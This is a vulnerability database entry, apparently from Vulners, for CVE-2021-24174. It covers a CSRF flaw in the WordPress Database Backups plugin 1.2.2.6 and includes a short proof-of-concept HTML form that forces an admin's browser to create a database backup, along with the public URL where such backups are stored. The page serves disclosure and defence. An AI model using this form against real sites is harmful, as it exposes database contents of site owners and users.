Vulners
Lucene search
WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
 | WordPress Database Backups 1.2.2.6 Plugin - (Database Backup Download) CSRF Vulnerability | 11 Jun 202100:00 | – | zdt |
 | WordPress 跨站请求伪造漏洞 | 5 Apr 202100:00 | – | cnnvd |
 | CVE-2021-24174 | 5 Apr 202118:27 | – | cve |
 | CVE-2021-24174 Database Backups <= 1.2.2.6 - CSRF to Backup Download | 5 Apr 202118:27 | – | cvelist |
 | EUVD-2021-11088 | 7 Oct 202500:30 | – | euvd |
 | CVE-2021-24174 | 5 Apr 202119:15 | – | nvd |
 | CVE-2021-24174 | 5 Apr 202119:15 | – | osv |
 | WordPress Database Backups 1.2.2.6 Cross Site Request Forgery | 11 Jun 202100:00 | – | packetstorm |
 | WordPress Database Backups plugin <= 1.2.2.6 - Cross-Site Request Forgery (CSRF) vulnerability leading to backup download | 10 Mar 202100:00 | – | patchstack |
 | Cross site request forgery (csrf) | 5 Apr 202119:15 | – | prion |
10
# Exploit Title: WordPress Plugin Database Backups 1.2.2.6 - 'Database Backup Download' CSRF
# Date: 2/10/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/database-backups/
# Version: 1.2.2.6
# Tested on: Windows 10
# CVE: CVE-2021-24174
1. Description:
This plugin allows admins to create and download database backups. A CSRF can create DB backups stored publicly in the uploads directory.
2. Proof of Concept:
<form action="http://localhost/wp-admin/tools.php?page=database-backups" method="post">
<input type="hidden" name="do_backup_manually" value="1">
<input type="submit" class="button button-primary" value="Do backup" autocomplete="off">
</form>
Backups can be accessed by the following URL.
http://localhost/wp-content/uploads/database-backups/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Jun 2021 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 25.8
CVSS 3.18.1
EPSS0.00375